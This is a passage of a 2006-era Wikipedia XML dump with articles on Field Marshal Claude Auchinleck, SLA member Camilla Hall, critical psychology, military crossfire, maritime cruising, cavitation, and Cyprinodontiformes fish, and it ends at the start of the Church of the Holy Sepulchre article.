Field Marshal '''Sir Claude John Eyre Auchinleck''', [[Order of the Bath|GCB]], [[Order of the Indian Empire|GCIE]], [[Order of the Star of India|CSI]], [[Distinguished Service Order|DSO]], [[Order of the British Empire|OBE]] ([[June 21]] [[1884]] - [[March 23]] [[1981]]), nicknamed '''The Auk''', was a British army commander during [[World War II]]. 

==Early life and career==
Born in [[Aldershot]], he grew up in impoverished circumstances, but was able through hard work and scholarships to graduate from [[Wellington College (Berkshire)|Wellington College]] and the [[Royal Military Academy Sandhurst|Royal Military Academy]], [[Sandhurst]]. Claude Auchinleck was a career soldier who spent much of his military career in [[India]], where he developed a love of the country and an affinity for the ordinary soldiers under his command. 

==World War II==

===Norway===
Early in World War II Auchinleck was given command of the [[Allied forces]] in [[Norway]] in May [[1940]], a military operation that was doomed to fail. After the fall of Norway, in July 1940 he became briefly General Officer Commanding-in-Chief, Southern Command, and then Commander-in-Chief of the [[British Indian Army|Indian Army]].

===North Africa===
Following the see-saw of Allied and Axis successes and reverses in North Africa, Auchinleck was appointed to succeed General (later Field Marshal) Sir [[Archibald Wavell]] as C-in-C of the Allied Forces in the Middle East in July [[1941]]; Wavell took up Auchinleck's post as C-in-C of the Indian Army, swapping jobs with him.

General Auchinleck was C-in-C based in [[Cairo]], with responsibility not just for North Africa but also for [[Iran|Persia]] and the Middle East; the [[British Eighth Army|Eighth Army]] confronting the [[Afrika Korps|German Afrika Corps]] and the [[Italian Army]] was commanded successively by Generals Sir [[Alan Cunningham]] and Sir [[Neil Ritchie]]. The first major offensive by Eighth Army, [[Operation Crusader]] in November 1941 resulted in the defeat of much of the British armour and the breakdown of Cunningham. Auchinleck relieved Cunningham, and ordered the battle to continue. Despite heavy losses, the Afrika Korps were driven back to El Agheila. Auchinleck then appointed Ritchie to command Eighth Army, while Auchinleck resumed overall strategic direction of the Middle East theatre. The Afrika Korps retook Benghazi in January of 1942 and then operations ended for the next four months. [[Rommel]]'s attack at Gazala of [[May 25]] [[1942]] was a significant defeat for the British. Eighth Army retreated back into [[Egypt]]; [[Tobruk]] (which was of great political significance to [[Winston Churchill]] but of limited military importance to Auchinleck) fell on [[21 June]]. Once more Auchinleck stepped in to take direct command of the Eighth Army. The German/Italian advance was finally halted at the [[First Battle of El Alamein]] by the Eighth Army, but attempts by Auchinleck to turn the battle into an outright victory were failures. 

The Auk, as he was known to his troops, was unfortunate in some of his subordinate senior officers in North Africa: some were incompetent, some were killed and some were captured. Auchinleck - an Indian Army officer - had little direct experience or understanding of British and Dominion troops, which may explain his poor appointments. Auchinleck's desire for the Eighth Army to fight in mobile 'Brigade Groups' rather than Divisions was resisted by many subordinates. His brilliant but erratic chief of staff, [[Eric Dorman-Smith|Dorman-Smith]], was regarded with considerable distrust by many of the senior commanders in Eighth Army. By July 1942 Auchinleck had lost the confidence of Dominion commanders and relations with his British commanders had become strained.

Like his foe Rommel (and his predecessor Wavell), Auchinleck was subjected to constant political interference, having to weather a barrage of hectoring telegrams and instructions from Prime Minister Churchill throughout late 1941 and the spring and summer of 1942. Churchill constantly sought an offensive from Auchinleck, and was (understandably) downcast at the military reverses in Egypt and Cyrenaica. Churchill was desperate for some sort of British victory before the planned Allied landings in North Africa, [[Operation Torch]], scheduled for November 1942. He badgered Auchinleck immediately after the Eighth Army had all but exhausted itself after the first battle of El Alamein. Churchill flew to Cairo in August 1942, purportedly for consultations with Auchinleck, but it is now obvious that Churchill had made up his mind to replace Auchinleck before the meeting. It is believed that Auchinleck refused to order a major offensive before his troops were properly prepared. 

He was replaced as C-in-C Middle East by General [[Harold Alexander]] (later Field Marshal Earl Alexander of Tunis) and as GOC Eighth Army by Lt-General [[William Gott]], who was killed in Egypt before taking up command. On Gott's death,  Lt-General (later Field Marshal Viscount) [[Bernard Montgomery]] was appointed commander of the Eighth Army. Auchinleck's reputation (along with that of many other officers) subsequently suffered unfairly at the hands of the Montgomery publicity machine, a disservice that was repeated by Churchill in his own war memoirs. Indeed, Montgomery launched his [[Second Battle of El Alamein|El Alamein offensive]] on [[23 October]] 1942, even later than the date proposed by Auchinleck while still in command.

===India===
Churchill offered Auchinleck command of Allied Forces in [[Iran|Persia]] and the Middle East (this having been hived off Alexander's command), but the Auk declined this post, possibly as it was held by his Indian Army friend and colleague General Sir [[Edward Quinan]]. Instead he returned to India, where he spent almost a year &quot;unemployed&quot; before in [[1943]] becoming again Commander-in-Chief of the Indian Army, Wavell meanwhile having been appointed [[Governor-General of India|Viceroy]]. Auchinleck retained this post after the end of the war.

==Post-war life==
[[Image:Monty, wavvel, auk.jpg|thumb|200px|Auchinleck as C-in-C of the Indian Army, with the then [[Governor-General of India|Viceroy]] [[Archibald Wavell, 1st Earl Wavell|Wavell]] and [[Bernard Law Montgomery, 1st Viscount Montgomery of Alamein|Montgomery]].]]
Much against his own convictions, Auchinleck helped prepare the future Indian and Pakistani armies prior to [[Partition of India|Partition]] scheduled for August [[1947]]. In [[1946]] he was promoted to field marshal but he refused to accept a peerage, lest he be thought associated with a policy (i.e. Partition) that he thought fundamentally dishonourable. Having disagreed sharply with [[Lord Mountbatten]], the last [[Viceroy of India]], he resigned as C-in-C and retired in 1947. In [[1948]] the Auk returned to Britain his wife having left him for another officer in 1946.

Although a somewhat dour character, he was known as a generous and welcoming host. Despite being a general for longer than almost any other soldier, he was never pompous, and hated all forms of display and affectation. Above all, he was a soldier of the utmost integrity who was popular with his troops, and respected by his foes. Rommel considered him to be one of the greatest generals of the war. In retirement, the Auk moved to [[Marrakesh]], where he lived quietly in a modest flat for many years, befriended and cared for by Corporal Malcolm James Millward, a serving soldier, up until the death of Sir Claude in [[1981]].

{{commons|Claude Auchinleck}}

{{start box}}
{{succession box | title=[[Commander-in-Chief, India]] | before=[[Robert Archibald Cassels|Sir Robert Archibald Cassels]] | after=[[Archibald Percival Wavell, 1st Earl Wavell|Archibald Wavell]] | years=1941}}
{{succession box | title=[[Commander-in-Chief, India]] | before=[[Archibald Percival Wavell, 1st Earl Wavell|Archibald Wavell]] | after=[[Robert Lockhart|Sir Robert Lockhart]] | years=1943&amp;ndash;1947}}
{{end box}}

[[Category:1884 births|Auchinleck, Claude]]
[[Category:1981 deaths|Auchinleck, Claude]]
[[Category:British Field Marshals|Auchinleck, Claude]]
[[Category:British World War II people|Auchinleck, Claude]]
[[Category:British Indian Army officers|Auchinleck, Claude]]
[[Category:Knights Grand Cross of the Bath|Auchinleck, Claude]]
[[Category:Knights Grand Commander of the Indian Empire|Auchinleck, Claude]]
[[Category:Companions of the Star of India|Auchinleck, Claude]]
[[Category:Officers of the British Empire|Auchinleck, Claude]]
[[Category:Old Wellingtonians|Auchinleck, Claude]]

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  <page>
    <title>Camilla Hall</title>
    <id>7797</id>
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      <timestamp>2006-01-08T10:22:38Z</timestamp>
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        <username>Academic Challenger</username>
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      <minor />
      <comment>typo correction</comment>
      <text xml:space="preserve">'''Camilla Hall''' aka Gabi ([[1945]] - [[May 17]] [[1974]]) was an early member of the [[Symbionese Liberation Army]].   The daughter of a Lutheran minister, she was the only surviving child of four; two of her siblings died of a kidney disorder and a third of [[polio]].
 
Camilla moved to Los Angeles in [[1968]] in search of a place where her art and her [[lesbianism]] would be more welcome. She lived there for three years, surviving on a small income from her art sales, before moving to Berkeley, where she fell in love with her upstairs neighbor, [[Patricia Soltysik]], to whom she gave the name &quot;Mizmoon&quot;.

Camilla died in a shootout ([[May 17]], [[1974]], 9&amp;nbsp;000 rounds fired) with police in which five other SLA members were killed.  Reportedly, she was shot in the head while charging the police with a pistol.

[[Category:1945 births|Hall, Camilla]]
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[[Category:Firearm deaths|Hall, Camilla]]</text>
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  </page>
  <page>
    <title>Cydney Grossman</title>
    <id>7798</id>
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      <timestamp>2006-02-05T13:12:08Z</timestamp>
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        <username>Docu</username>
        <id>8029</id>
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      <minor />
      <comment>fix cat</comment>
      <text xml:space="preserve">{{cleanup-importance}}

'''Cydney''' ([[1909]]-?), American [[painter]] of [[clown]]s and [[Circus (performing art)|circus]] scenes. He was born as Cydney Grossman in [[1909]] in [[New York City]].

[[Category:1909 births|Grossman, Cydney]]
[[Category:Possibly living people|Grossman, Cydney]]
[[Category:American painters|Grossman, Cydney]]

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  </page>
  <page>
    <title>Clone</title>
    <id>7800</id>
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      <timestamp>2006-02-20T22:18:47Z</timestamp>
      <contributor>
        <username>Ravn</username>
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      <comment>Revert to revision 40160859 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">'''Clone''' may refer to:
 
* [[Cloning]], in biology, any organism whose genetic information is identical to that of a &quot;mother organism&quot; from which it was created
* [[Clone (genetics)]], in molecular biology, an exact replica of all or part of a macromolecule (eg. DNA)
* [[Clone (computer science)]]
* [[Clone (computer and video games)]], a game heavily inspired by another
* [[Clone (voting)]], in the analysis of voting systems, an additional candidate who appears as attractive to each voter as an existing candidate

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  <page>
    <title>Critical psychology</title>
    <id>7801</id>
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      <timestamp>2005-11-23T01:07:05Z</timestamp>
      <contributor>
        <ip>24.41.27.50</ip>
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      <comment>/* Critical psychology around the world */</comment>
      <text xml:space="preserve">Critical psychology is both a critique of &quot;mainstream&quot; [[psychology]] and an attempt to apply psychology in more progressive ways (based, for example, on [[marxism|Marxist]] or [[feminism|feminist]] analyses) and contexts than have thus far been the case. There are a number of textbooks of critical psychology and at least two critical psychology institutes, in [[Manchester]] and [[Sydney]]. Compare: [[critical theory]].

== Critical psychology around the world ==

'''Germany'''

Critical psychology started in the [[1970s]] in Berlin at the [[Free University of Berlin|Freie Universität Berlin]], and the German branch of critical psychology predates and has developed largely separately from the rest of the field.  Critical psychology here is not really seen as a division of psychology; it follows its own methodology.  It tries to reformulate traditional psychology on an unorthodox [[Marxism|Marxist]] base.  The appeal of critical psychology to socialists is that it is an attempt to come to grips with the social and the historical &quot;conditionality&quot; of human beings.  One of the most important books in the field is the ''Grundlegung der Psychologie'' (''Foundations of Psychology'') by [[Klaus Holzkamp]] (Frankfurt a. M. 1983), who might be considered the theoretical founder of critical psychology. 
Some years ago the department of critical psychology at the FU-Berlin was closed and was added to the traditional psychology department.  Nevertheless, this approach of psychology is still alive.

'''South Africa'''

The University of KwaZulu-Natal in [[Durban]], [[South Africa]], is one of few worldwide to offer a [http://www.ukzn.ac.za/psychology/default.asp masters course in critical psychology]. For an overview of critical psychology in South Africa, see Desmond Painter and Martin Terre Blanche's article on [http://www.criticalmethods.org/collab/critpsy.htm Critical Psychology in South Africa: Looking back and looking forwards]. They have also now started a [http://critpsy.blogspot.com/ critical psychology blog].

'''United States and Canada'''

Critical psychology in the United States and Canada has, for the most part, focused on critiques of mainstream psychology's support for an unjust ''status quo''. No departments of critical psychology exist, though critical perspectives are sometimes encountered in traditional universities, perhaps especially within community psychology departments. North American efforts include the 1993 founding of RadPsyNet  [http://radpsynet.org Radical Psychology Network] and the 1997 publication of [http://dennisfox.net/critpsy/book.html Critical Psychology: An Introduction] (edited by Dennis Fox and Isaac Prilleltensky).

Like many critical applications, critical psychology has expanded beyond Marxist roots to benefit from other critical approaches.  Consider ecopsychology and [[transpersonal psychology]]. Critical psychology and related work has also sometimes been labelled [[radical psychology]] and [[liberation psychology]].

== External links ==

* http://Kritische-Psychologie.de
* http://www.radpsynet.org/
* [http://www.portalpsicologia.org/busqueda.jsp?idTeoria=2 Portalpsicologia.org]
* [http://birchmore.tripod.com/ Critical Perspectives on Mental Health]
 
[[Category:Branches of psychology]]</text>
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  </page>
  <page>
    <title>Crossfire</title>
    <id>7803</id>
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        <username>Misza13</username>
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      <comment>/* Trench warfare */ Re-wikified</comment>
      <text xml:space="preserve">:''This article is about the military tactic of crossfire. For alternate meanings, see [[Crossfire (disambiguation)]].''

A '''crossfire''' is a military term for the siting of weapons (often automatic weapons such as machine guns) so that their arcs of fire overlap. This tactic came to prominence in [[World War I]].

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==Mutual support==
Siting weapons this way is an example of the application of the defensive principle of ''mutual support''.  The advantage of siting weapons that mutually support one another is that it is difficult for an attacker to find a covered approach to any one defensive position.  

Use of armour, air support, indirect fire support, and stealth are tactics that may be used to assault a defensive position. However when combined with land-mines, snipers, barbed wire, and air cover, crossfire became a difficult tactic to counter in the early 20th century.

==Trench warfare==
The tactic of using overlapping arcs of fire came to prominence during [[World War I]] where it was a feature of [[trench warfare]]. [[Machine gun]]s were placed in groups, called machine gun nests, and they protected the front of the trenches. Many lives were lost in futile attempts to charge across the [[no man's land]] where these crossfires were set up.

The significance of crossfires is that they rendered useless what had been the most effective weapon of warfare since the Greek [[phalanx]]: massed infantry. Though [[World War II]] had more casualties overall, the relative number of deaths compared to the number of soldiers was more than twice as high in WWI, and the soldiers died much more quickly in the battles of World War I as they went &quot;over the top&quot; into the meat grinder known as no man's land. 

Three things changed between WWI and WWII rendered the crossfire obsolete: the advance of armored vehicles (especially tanks), the advent of aerial bombardment, and the invention of the proximity fuze. 

[[Tank]]s were invented in WWI specifically because they were immune to machine gun fire, and could thus cross no man's land to destroy the [[machine gun]] nests. Their armored hulls also provided cover for the infantry to advance around the tanks. The tanks in WWI were ponderously slow and prone to stalling, however, so they tipped the balance in the favor of the [[Great Britain|British]], but not decisively. In WWII, the tanks improved greatly in speed and reliability, and could reach a machine gun nest at reduced risk since it spent less time exposed.

[[Airplane]]s were present in WWI, but they were used primarily for recon and the outcome of the battle in the air didn't have a lot of effect on the ground battle. The pilots often experimented with carrying things like hand grenades to drop on the enemy, but they were largely ineffective. In WWII airplanes could bomb enemy lines, rendering any large stationary target vulnerable to destruction. Fighters also strafed enemy lines with machine gun fire.

The [[proximity fuze]] allowed bombs and munitions to detonate when an object passed within a certain range (usually about 50 feet (15 m)) rather than using an impact or timed fuze. Timed fuzes are tricky because the range has to be pre-set correctly. Impact fuzes are bad against flying targets because they have a very small targeting silhouette, and they're bad against ground targets because the projectile has time to embed in the ground before it explodes, deflecting the explosive power upward. Proximity fuzes were developed by the [[U.S. Navy]] during WWII, and they proved instrumental in defending the fleets from aerial attack since a gunner using bullets with proximity fuzes only had to get close to hitting the enemy to knock him from the sky. Proximity fuzes were also instrumental in the battle for Britain because, after the gunners changed to proximity fuzes, not a single [[Germany|German]] bomb made it past the guns. The fuze also permitted the heavy [[artillery]] to detonate above ground, permitting the explosive power to be fully utilized against targets on the ground. The trenches of WWI, for instance, wouldn't have been effective protection against a bombardment using proximity fuzes.

Any of the above three technologies would have rendered the crossfire useless. Modern warfare has not returned to big blocks of infantry because the above inventions also kill massed infantry well, and with the perfection of shoulder launched rockets and precision bombing, stationary targets are too vulnerable to be as deadly as the crossfire was in WWI.

[[Category:Military tactics]]

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    <title>CNO</title>
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  </page>
  <page>
    <title>Cruising (maritime)</title>
    <id>7806</id>
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      <id>41460586</id>
      <timestamp>2006-02-27T14:15:42Z</timestamp>
      <contributor>
        <username>Gnusmas</username>
        <id>991516</id>
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      <comment>Add dinghy cruising</comment>
      <text xml:space="preserve">{{cleanup-date|December 2005}}

[[Image:Cruiser at Green Island Panama.jpg|thumb|right|A cruising sailboat anchored in the [[San Blas Islands]], in [[Panama]].  The islands are an idyllic destination enjoyed by many cruisers.]]
'''Cruising''' by boat is a lifestyle that involves living full-time on a boat while traveling from place to place.  Cruising generally refers to trips of a few days or more, and can extend to round-the-world voyages.  Cruising is done on both [[sailboat|sail]] and [[motorboat|power]] boats, although sail predominates over longer distances, as ocean-worthy power boats are considerably more expensive.

Many cruisers are &quot;long term&quot; and travel for many years, the most adventurous circling the globe over a period of three to ten years.  Many others take a year or two off from work and school for short trips and the chance to experience the cruising lifestyle.

[[Dinghy sailing|Dinghy sailors]] may also be &quot;cruisers&quot;, and in this case the word refers to someone who sails just for fun, maybe to go from A to B, but equally likely just to sail around for a few hours - in fact, any sailing activity that does not involve [[Dinghy racing|racing]].

&quot;Cruising&quot; may also refers to trips on [[cruise ship]]s, and those who take frequent cruise ships vacations (multiples times per year) may be called &quot;cruisers&quot;.
 
== History ==

[[Image:Dugout in San Blas Islands.jpg|thumb|right|Cruisers can see traditional life in remote areas of the world; here, a [[Kuna (people)|Kuna]] local paddles a dugout canoe in the [[San Blas Islands]].]]
One of the first people to carry out a long-distance voyage for pleasure, and who inspired many others to follow in his path, was [[Joshua Slocum]], who [[circumnavigation|circumnavigated]] the world between [[1895]] and [[1898]].  Despite widespread opinion that such a voyage was impossible, Slocum, a retired sea captain, built a 37-foot sloop, ''Spray'', and sailed her [[single-handed sailing|single-handed]] around the world.  His book ''Sailing Alone Around the World'' is still considered a classic adventure, and inspired many others to take to the seas.&lt;ref&gt;''Sailing Alone Around the World'', Captain Joshua Slocum; Sheridan House, 1954. ISBN 0911378200&lt;/ref&gt;

Other cruising authors have provided both inspiration and useful instruction to would-be cruisers.  Key among these are Lin and Larry Pardey, who in [[1969]] set off on a short cruise from the USA to Mexico, which turned into a circumnavigation of the world.  They wrote a series of books about their voyage, as well as several reference books on cruising.

== Techniques ==

As well as normal sailing and seamanship skills, cruisers use a variety of equipment and tehniques to make their voyages possible, or simply more comfortable.

[[Image:Solar_panels_on_yacht_at_sea.jpg|thumb|right|The solar panels on this 28-foot yacht can keep her self-sufficient in electrical power.]]
One of the key areas is providing the electrical power to keep the boat's systems (lights, communications gear, etc.) running.  Although most boats can generate power from their inboard engines, and some carry generators, carrying sufficient fuel for these over a long voyage con be a problem; and so many cruising boats are equipped with generating devices such as [[solar panel]]s, [[wind turbine]]s, etc.

While it is quite possible (and, until relatively recently, normal) to cruise without long-distance communications equipment, such gear is becoming more common on cruising boats.  Many boats are now equipped with [[satellite telephone]] systems; however, these systems can be expensive to use, and may operate only in restricted areas.  Many cruisers still rely on the older [[short wave]] maritime [[single-sideband modulation|SSB]] radio stadard, which has no running costs, and can (with suitable equipment) allow sending and receving of email.

== Further reading ==

* Elbert Maloney, &quot;Dutton's Navigation and Piloting&quot;- a classic, professional reference, continuously updated.
* Nathaniel Bowditch, &quot;The American Practical Navigator&quot;- A classic, prefessional reference, continuously updated.
* U.S. Naval Institute, &quot;The Bluejackets' Manual&quot;- the navy way; the authority on Morse, flags, courtesies, fire-fighting at sea, jury-rigging, ship handling and basic sea law.
* Lawrence and Lin Pardey, &quot;Storm Tactics&quot;- A must-read book.
* Linda &amp; Steve Dashew, &quot;Offshore Cruisers' Encyclopedia&quot;- expensive but so useful it has been compared to Bowditch and Dutton.  Easy to read.
* Eric Hiscock, &quot;Cruising Under Sail&quot;- just the facts, a classic.
* Lawrence and Lin Pardey, &quot;The Self-Sufficient Sailor&quot;- The Pardey's message is wonderfully encouraging: Go simply, go cheaply and in a small boat, but go.
* Lawrence &amp; Lin Pardey, &quot;Cost Conscious Cruiser&quot;- more hints and tricks
* Michael Carr, &quot;Weather Prediction Simplified&quot;
*Steve and Linda Dashew, &quot;Mariner's Weather Handbook&quot;
* Mary Blewitt, &quot;Celestial Navigation for Yachtsmen&quot;- just the facts.
* Merle Turner, &quot;Celestial Navigation for the Cruising Navigator&quot;- some theory.
* William F. Buckley Jr., &quot;Atlantic High&quot;- an amazingly well-written account of an Atlantic passage.  Not a shred of politics.
* William F. Buckley Jr., &quot;Racing Through Paradise&quot;- etc. about a Pacific passage.

== See also ==

* [[Electric boat]]
* [[Maritime mobile amateur radio]]

== References ==

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== External links ==

* [http://www.wikicruising.com WikiCruising] The Wiki guide to sailing and cruising destinations.
* [http://cruisenews.net/index.php CruiseNews.net] Guide to Sailing and Cruising Stories.

[[Category:Sailing]]

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  <page>
    <title>Cavitation</title>
    <id>7807</id>
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      <contributor>
        <username>Tor Stein</username>
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      <comment>/*Cavitation in engines */</comment>
      <text xml:space="preserve">[[Image:cavitating-prop.jpg|300px|thumb|Cavitating propeller model in a [[water tunnel]] experiment]]

Cavitation is the phenomenon where small and largely empty cavities are generated in a [[fluid]], which expand to large size and then rapidly collapse, producing a sharp [[sound]]. Cavitation occurs in pumps, propellers, impellers, and in the vascular tissues of plants.

==Overview==
Following the definition of Christopher E. Brennen: A liquid when it is subjected to a low [[pressure]] (tensile stress) above a threshold it ruptures and forms vaporous cavities. This phenomenon is termed cavitation. When the local ambient [[pressure]] at a point in the liquid falls below the liquid's [[vapor pressure]], the liquid can undergo a phase change, creating largly empty voids termed cavitation bubbles. Other possiblities to generate cavitation bubbles involve the local deposition of energy. This can be achieved by focusing an intense laser pulse (optic cavitation) or with an electrical discharge through a spark.

The physical process of cavitation is almost exactly the same as that which occurs during [[boiling]].  The major difference between the two is how the phase change is affected.  Boiling raises the vapor pressure of the liquid above its local ambient pressure to cause the phase change to a gas.

In order for cavitation to occur, the cavitation &quot;bubbles&quot; generally need a surface on which they [[nucleation|nucleate]]. This surface can be provided by the sides of a container and by [[impurity|impurities]] in the liquid. It is generally accepted that [[hydrophobe|hydrophobic]] surfaces stabilize small bubbles. These preexisting bubbles start to grow unbounded when they are exposed a pressure below the a threshold pressure termed [[Blake's threshold]].

==Problems==
Cavitation is, in many cases, an undesirable occurrence.  In devices such as propellers and pumps, cavitation causes a  great deal of noise, damage to components, vibrations, and a loss of efficiency.

When the cavitation bubble collapse, they focus liquid energy to very small volumes. Thereby, they create spots of high temperature and emit shock waves which are the source of noise. The noise created by cavitation is a particular problem in [[submarine|submarines]], as the noise destroys its [[stealth]].

The collapse of cavities involves very high energies, and can cause major damage.  Cavitation can damage almost any substance.  The pitting caused by the collapse of cavities produces great wear on components and can dramatically shorten a propeller or pump's lifetime.

==Beneficial Uses==
Although cavitation is undesirable in many circumstances, this is not always the case.  For example, [[supercavitation|supercavitating]] torpedoes in use by the military envelope the torpedo in a large bubble of cavitation.  By eliminating contact with water, and, therefore, eliminating the high drag of water, these torpedoes can move very fast underwater, perhaps even at [[supersonic]] speeds.  

Cavitation can also be a boon in ultrasonic cleaning devices.  These devices affect cavitation using sound waves and use the collapse of the cavitation bubbles to clean surfaces. Used in this manner, the need for sometimes environmentally harmful chemicals can be reduced in many industrial and commercial processes that require cleaning as a step. Still the details on how bubbles clean are not understood.

In industry, cavitation is often used to homogenize, or mix and break down suspended particles in a colloidal liquid compound, such as paint mixtures, or milk. Many industrial mixing machines are based upon this design principle. It is usually achieved through impeller design, or by forcing the mixture through an annular opening that has a narrow entrance orifice with a much larger exit orifice: the drastic decrease in pressure as the liquid accelerates into the larger volume causes cavitation to take place. This method can be controlled with hydraulic devices that control the size of the inlet orifice, and this allows for adjustment to the process &quot;on the fly&quot;, or for different substances. The outer surface of this type of mixing valve, upon which the cavitation bubbles are driven against to cause their implosion, undergoes tremendous stress, and is often constructed of super-hard or tough materials such as stainless steel, Stellite, or even polycrystalline diamond (PCD).  

Cavitating [[water purification]] devices have also been designed, in which the extreme conditions of cavitation can break down pollutants and organic molecules. Spectral analysis of light emitted in [[sonochemistry|sonochemical reactions]] reveal chemical and plasma based mechanisms of energy transfer. The light emitted from cavitation bubbles is termed [[sonoluminesence]].

==Biomedical application==
Cavitation plays an important role for the destruction of [[kidney stone]]s in shock wave lithotripsy ([[lithotriptor]]). Currently it is tested if cavitation can be used to transfer large molecules into biological [[cell (biology)|cell]]s ([[sonoporation]]).

==Pumps and propellers==
Major places where cavitation occurs are in [[pump]]s, on [[propeller]]s, or at restrictions in a flowing liquid.

As an impeller's (in a pump), or propeller's (as in the case of a ship or submarine) blades move through a fluid, low pressure areas are formed as the fluid accelerates around and moves past the blades.  The faster the blades move, the lower the [[pressure]] around it can become. As it reaches vapor pressure, the fluid [[vaporization|vaporizes]] and forms small [[bubble]]s of gas.  This is cavitation.  When the bubbles collapse later, they typically cause very strong local shockwaves in the fluid, which may be audible and may even damage the blades.

Cavitation in pumps may occur in two different forms:

===Suction cavitation===
[[Suction]] cavitation occurs when the pump suction is under a low pressure/high vacuum condition where the liquid turns into a vapor at the eye of the pump impeller. This vapor is carried over to the discharge side of the pump where it no longer sees vacuum and is compressed back into a liquid by the discharge pressure. This imploding action occurs violently and attacks the face of the impeller. An impeller that has been operating under a suction cavitation condition has large chunks of material removed from its face causing premature failure of the pump.

===Discharge cavitation===
Discharge cavitation occurs when the pump discharge is extremely high. It normally occurs in a pump that is running at less than 10% of its best efficiency point. The high discharge pressure causes the majority of the fluid to circulate inside the pump instead of being allowed to flow out the discharge. As the liquid flows around the impeller it must pass through the small clearance between the impeller and the pump cutwater at extremely high [[velocity]]. This velocity causes a vacuum to develop at the cutwater (similar to what occurs in a [[venturi]]) which turns the liquid into a vapor. A pump that has been operating under these conditions shows premature wear of the impeller vane tips and the pump cutwater. In addition due to the high pressure condition premature failure of the pump mechanical seal and bearings can be expected. Under extreme conditions this can break the impeller shaft.

Discharge cavitation is believed to be the cause of [[cracking knuckles|the cracking of joints]].

==Cavitation in engines==
Some bigger [[diesel engine]]s suffer from cavitation due to high compression and undersized [[cylinder]] walls. The result is pit holes in the cylinder wall that let [[cooling fluid]] leak into the cylinder.

It is possible to prevent this from happening with chemical additatives in the cooling fluid that form a protecting layer on the cylinder wall. This layer will be exposed from the same cavitation, but rebuilds itself.

==Vascular plants==
Cavitation occurs in the [[xylem]] of [[vascular plants]] when the water potential becomes so great that dissolved air within the water expands to fill the plant cell - either vessel elements or [[tracheid|tracheids]]. Plants are generally able to repair cavitated xylem, for example with root pressure, but for others such as vines, cavitation often leads to mortality. In some trees, the sound of the cavitation is clearly audible.

==See also==
*The phenomenon known as [[supercavitation]] is used to allow objects to travel under water at high speed.
*[[Supercavitating propeller]]
*[[Sonoluminescence]]
*[[Cavitation number]]

==External links==
* [http://caltechbook.library.caltech.edu/1/04/bubble.htm Cavitation and Bubble Dynamics by Christopher E. Brennen]
* [http://caltechbook.library.caltech.edu/51/01/multiph.htm Fundamentals of Multiphase Flow by Christopher E. Brennen]
* [http://www.cyberdenone.com/digital_diary/digital_diary_12.html Supercavitation]
* [http://www.deepangel.com/html/the_science.html Cavitation vs. Supercavitation]

==References==
For cavitation in plants, see '''Plant Physiology''', by Taiz and Zeiger.

[[Category:Fluid dynamics]]
[[Category:Plants]]
[[Category:Pumps]]

[[cs:Kavitace]]
[[de:Kavitation]]
[[eo:Kavitacio]]
[[es:Cavitación]]
[[fi:Kavitaatio]]
[[fr:Cavitation]]
[[gl:Cavitación]]
[[it:Cavitazione]]
[[ja:キャビテーション]]
[[nl:Cavitatie]]
[[no:kavitasjon]]
[[pl:Kawitacja]]
[[pt:Cavitação]]
[[ru:Кавитация]]</text>
    </revision>
  </page>
  <page>
    <title>Cyprinodontiformes</title>
    <id>7808</id>
    <revision>
      <id>37289323</id>
      <timestamp>2006-01-30T01:08:53Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Cyprinodontiformes
| image = Mummichog.jpg
| image_width = 250px
| image_caption = [[Mummichog]]&lt;br /&gt;(''Fundulus heteroclitus heteroclitus'')
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Actinopterygii]]
| ordo = '''Cyprinodontiformes'''
| ordo_authority = [[Leo S. Berg|Berg]], 1940
| subdivision_ranks = Families
| subdivision = 
[[Anablepidae]] (four-eyed fish)&lt;br /&gt;
[[Aplocheilidae]]&lt;br /&gt;
[[Cyprinodontidae]] (pupfish)&lt;br /&gt;
[[Fundulidae]]&lt;br /&gt;
[[Goodeidae]]&lt;br /&gt;
[[Poeciliidae]] (live-bearers)&lt;br /&gt;
[[Profundulidae]]&lt;br /&gt;
[[Rivulidae]]&lt;br /&gt;
[[Valenciidae]]&lt;br /&gt;
}}

The '''Cyprinodontiformes''' is an order of [[Actinopterygii|ray-finned fish]], also called the '''Microcyprini''', and comprising mostly small, fresh-water fish.  They are closely related to the [[Atheriniformes]] and are occasionally included with them.  Many popular aquarium fish, such as [[killifish]] and [[live-bearing aquarium fish|live-bearers]], belong here.

Members of this order are notable for inhabiting harsh environments, such as saline or very warm waters, water of poor quality, or isolated situations where no other types of fish occur. They are typically omnivores, and often live near the surface, where they the oxygen-rich water compensates for environmental disadvantages.

[[Category:Cyprinodontiformes| ]]

[[da:Tandkarpe]]
[[de:Zahnkärpflinge]]
[[eo:Dentokarpedoj]]
[[fr:Cyprinodontiformes]]
[[he:אידרונאים]]
[[lt:Dančiakarpinės žuvys]]
[[ja:カダヤシ目]]
[[pl:Karpieńcokształtne]]
[[pt:Cyprinodontiformes]]
[[ru:Карпозубообразные]]</text>
    </revision>
  </page>
  <page>
    <title>Church of the Holy Sepulchre</title>
    <id>7810</id>
    <revision>
      <id>41886981</id>
      <timestamp>2006-03-02T10:43:24Z</timestamp>
      <contributor>
        <username>Csernica</username>
        <id>10643</id>
      </contributor>
      <minor />
      <comment>/* Status quo */ well, looks like it moved a few inches.</comment>
      <text xml:space="preserve">[[Image:Holy_sepulchre_exterior.jpg|thumb|280px|Main Entrance to the Church of the Holy Sepulchre]]The '''Church of the Holy Sepulchre''', called the '''Church of the [[Resurrection of Jesus|Resurrection]]''' (''Anastasis'' in [[Greek language|Greek]] and ''Surp Harutyun'' in [[Armenian language|Armenian]]) by [[Eastern Christianity|Eastern Christian]]s, is a [[Christianity|Christian]] [[church]] now within the walled [[Old City]] of [[Jerusalem]]. The ground on which the church rests is venerated by most Christians as [[Golgotha]], the [[Calvary|Hill of Calvary]], where the [[New Testament]] describes that [[Jesus]] was [[crucifixion|crucified]]. It also is said to contain the place where Jesus was reportedly buried (the [[sepulchre]]). The church has been an important [[pilgrimage]] destination since the [[4th century]]. Today it serves as the headquarters of the [[Orthodox Patriarch of Jerusalem]] and the [[Roman Catholic Church|Catholic]] [[Archpriest]] of the [[Basilica]] of the Holy Sepulchre.

==History==
